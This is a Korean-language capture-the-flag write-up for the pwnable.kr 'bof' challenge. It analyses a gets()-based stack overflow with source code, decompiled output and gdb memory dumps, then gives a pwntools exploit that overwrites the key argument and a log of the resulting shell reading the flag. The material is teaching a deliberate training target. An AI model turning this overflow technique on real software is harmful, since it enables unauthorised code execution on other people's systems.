-
bofWargame/Pwnable.kr 2019. 6. 14. 23:10
Problem bof
Nana told me that buffer overflow is one of the most common software vulnerability. Is that true? Download : http://pwnable.kr/bin/bof Download : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000
문제에 대한 소스코드를 보자.
Source Code
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
key가 0xcafebabe이면 쉘이 실행되는 simple buffer overflow 문제이다.
IDA
일단 얼마 만큼 overflow시켜야 key값을 변조 시킬 수 있을지 알아보자.
int __cdecl func(int a1) { char s; // [sp+1Ch] [bp-2Ch]@1 0x2C == 44 int v3; // [sp+3Ch] [bp-Ch]@1 0xC == 12 v3 = *MK_FP(__GS__, 20); puts("overflow me : "); gets(&s); if ( a1 == 0xCAFEBABE ) system("/bin/sh"); else puts("Nah.."); return *MK_FP(__GS__, 20) ^ v3; }
s 변수가 bp-2C, v3 변수가 bp-C이므로 s 변수(32bytes)가 stack가장 위에있고 그 밑에 차례대로 v3 변수(4bytes), dummy(8bytes), ebp(4bytes), ret(4bytes), a1(4bytes)이 된다.
그러므로 ret까지 nop으로 덮고, 원하는 4bytes(0xcafebabe)를 쓰면 if문이 성립할 것이고 쉘이 실행이 될 것이다.
v3변수는 stack smash protector로, func 함수가 끝날 때 값 변조가 일어날 경우 *** stack smashing detected ***: /home/bof terminated 가 일어난다.
그래서 ret까지 nop으로 덮는다면 stack smashing이 되어서 프로그램이 종료될 것이다.
하지만 우리는 if문에서 쉘을 띄울거기 때문에 v3을 변조시키더라도 상관 없다.그니까 gets 함수의 취약점을 이용하여 v3을 개무시하고 덮어 씌워버리자.
gdb -q bof pwndbg> x/28wx $esp 0xffffcff0: 0xffffd00c 0x00000000 0x000000c2 0xf7ea4d56 0xffffd000: 0xffffffff 0xffffd02e 0xf7e1ac34 0x41414141 0xffffd010: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd020: 0x41414141 0x41414141 0x41414141 0xc3490200 0xffffd030: 0x565556b0 0x56555530 0xffffd058 0x5655569f 0xffffd040: 0xdeadbeef 0xf7ffd000 0x565556b9 0xf7fbb000 0xffffd050: 0x565556b0 0x00000000 0x00000000 0xf7e27af3 pwndbg> x/wx $ebp 0xffffd038: 0xffffd058 pwndbg> x/wx $ebp+4 0xffffd03c: 0x5655569f pwndbg> x/i 0x5655569f 0x5655569f <main+21>: mov eax,0x0
s에 A를 32개 넣고 run 시켜봤다.
0xffffd00c ~ 0xffffd02b(32bytes) : s[32] 0xffffd02c ~ 0xffffd02f(4bytes) : v3(stack smash protector) 0xffffd030 ~ 0xffffd037(8bytes) : dummy 0xffffd038 ~ 0xffffd03b(4bytes) : ebp(main ebp) 0xffffd03c ~ 0xffffd03f(4bytes) : ret<main+21> 0xffffd040 ~ 0xffffd043(4bytes) : a1
여기서 우리는 0xffffd00c 부터 0xffffd03f까지 nop으로 덮으면 된다. (52bytes)
그리고 0xcafebabe로 a1값(현재 0xdeadbeef)을 덮어씌우면 된다.그렇게 되면 payload는 "A"+52+"\xbe\xba\xfe\xca"로 만들 수 있다.
이제 exploit code짜러 가보자!
exploit.py
#!/usr/bin/python from pwn import * r = remote('pwnable.kr', 9000) payload = "A"*52+p32(0xcafebabe) r.sendline(payload) r.interactive()
exploit code도 만들었으니 공격하러 가보자!
Attack
n9ne@ubuntu [ ~/pwnable.kr ] python bof_exploit.py [+] Opening connection to pwnable.kr on port 9000: Done [*] Switching to interactive mode $ id uid=1008(bof) gid=1008(bof) groups=1008(bof) $ ls bof bof.c flag log log2 super.pl $ cat flag daddy, I just pwned a buFFer :) $
끝~